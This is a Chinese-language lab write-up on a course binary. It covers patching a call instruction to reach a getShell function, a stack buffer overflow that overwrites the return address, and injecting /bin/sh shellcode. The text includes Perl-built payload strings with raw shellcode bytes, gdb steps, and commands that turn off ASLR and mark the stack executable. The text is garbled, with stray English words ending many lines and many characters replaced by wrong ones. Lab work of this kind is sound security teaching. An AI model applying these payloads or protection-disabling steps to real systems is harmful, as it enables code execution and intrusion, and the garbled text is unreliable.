(因为图片比较大,看的时候须要关闭侧边栏~)
##实践目标html
##实践内容linux
这几种思路,基本表明现实状况中的攻击目标:git
##基础知识
(EIP、ESP寄存器的相关知识写在了博客最后面)shell
##实验步骤及具体操做
###一、直接修改程序机器指令,改变程序执行流程vim
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具windows
学习目标:理解可执行文件与机器指令sass
进阶:掌握ELF文件格式,掌握动态技术dom
(1)首先将pwn1用cp
拷贝到做业目录,而后用mv
进行重命名
ide
(2)输入objdump -d 20165201pwn1
进行反汇编
函数
先看第12行,call 8048491
是汇编指令
8048491
处的foo函数;e8 d7ffffff
,e8
即跳转之意80484ba
,但如一解释e8
这条指令呢,CPU就会转而执行 EIP + d7ffffff
这个位置的指令。d7ffffff
是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491
这个值,main函数调用foo,对应机器指令为e8 d7ffffff
,
d7ffffff
为,getShell-80484ba
对应的补码就行。c3ffffff
(3)vim 20165201pwn1
(4)先按esc
,以后输入:%!xxd
,以显示16进制内容
(5)输入/e8 d7
快速找到咱们想要的地方,注意必定要加空格!
(6)按i
进入插入模式,修改d7为c3
(7):%!xxd -r
将16进制内容转换为原来的格式;
(8):wq
保存并退出
(9)./20165201pwn1
,但此时提示权限不够
须要用chmod +x 20165201pwn1
来附加权限
这时再次输入./20165201pwn1
,就能够正常调用getshell了~
###二、经过构造输入参数,形成BOF攻击,改变程序执行流
(1)首先拷贝一份pwn1,而后用mv
进行重命名
(2)输入objdump -d 20165201pwn2
进行反汇编
80484ae
(3)确认输入字符串哪几个字符会覆盖到返回地址
若是输入字符串1111111122222222333333334444444412345678
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给20165201pwn2,20165201pwn2就会运行getShell
(4)确认用什么值来覆盖返回地址
getShell的内存地址,经过反汇编时能够看到,即0804847d
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d
仍是输入11111111222222223333333344444444\x7d\x84\x04\x08
对比以前 eip 0x34333231 0x34333231
,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08
(5)构造输入字符串
由为咱们无法经过键盘输入\x7d\x84\x04\x08这样的16进制值,因此先生成包括这样字符串的一个文件。\x0a表示回车,若是没有的话,在程序运行时就须要手工按一下回车键
关于Perl: Perl是一门解释型语言,不须要预编译,能够在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
可使用16进制查看指令xxd
查看input文件的内容是否如预期
而后将input的输入,经过管道符“|”,做为20165201pwn2的输入
成功!!!
###三、注入Shellcode并执行
(1)准备一段Shellcode
最基本的shellcode的编写可参考学姐的文章Shellcode入门,写得很是之清楚详实。如下实践即便用该文章中生成的shellcode。以下:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
关于更多Shellcode的知识,请参考Shellcode基础(不过页面好像挂了......)
(2)准备工做
要注意的是,咱们的实验目前是在很是简单的一个预设条件下完成的:
须要咱们修改设置以下:
apt-get install execstack //安装execstack命令 execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
(3)构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面,简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
咱们这个buf够放这个shellcode了,结构为:nops+shellcode+retaddr
输入perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
其中32个A是为了填充缓冲区,而\x04\x03\x02\x01
是预留的返回地址retaddr
接下来咱们来肯定\x4\x3\x2\x1到底该填什么
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./20165201pwn2
打开一个终端输入ps -ef | grep 20165201pwn2
来查找进程号,能够看到第一行,进程号即为7613
打开另外一个终端,用gdb
调试,输入指令attach 7613
(4)经过设置断点,来查看注入buf的内存地址
用disassemble foo
命令反汇编,查看foo函数
用break *0x080484ae
命令设置断点,在以前的终端中按下回车,这就是前面为何不能以\x0a(换行符)来结束 input_shellcode的缘由,输入c
命令继续运行
用info r esp
命令查找地址,这里能够看到堆栈指针esp
为0xffffd2ec
咱们输入x/16x 0xffffd2ec
查看其存放内容,看到0x01020304了,就是返回地址的位置。shellcode就挨着,因此shellcode的起始地址是0xffffd2f0
(加4字节)
那么思路很清晰了,接下来将以前的\x4\x3\x2\x1改成这个地址便可,输入命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
图中的红框就是咱们刚刚找到的shellcode起始地址
注入成功!!!
##错误记录和遇到的问题
###一、权限不够,调试失败
解决办法:输入
chmod +x 20165201pwn2
附加权限
###二、输入ps -ef | grep 20165201pwn2
时,缺乏./20165201pwn2进程
解决办法:在这一步运行的时候,没用gdb调试以前千万别输入回车键!!!只输入(cat input_shellcode;cat) | ./20165201pwn2
,以后gdb调试。不然就执行完了!!!
###三、ESP
寄存器
ESP
专门用做堆栈指针,被形象地称为栈顶指针,存放当前线程的栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就愈来愈小。在32位平台上,ESP每次减小4字节
###四、EIP
寄存器
EIP
寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,而后继续执行
##参考资料 (1)逆向及Bof基础实践说明
(2)Shellcode入门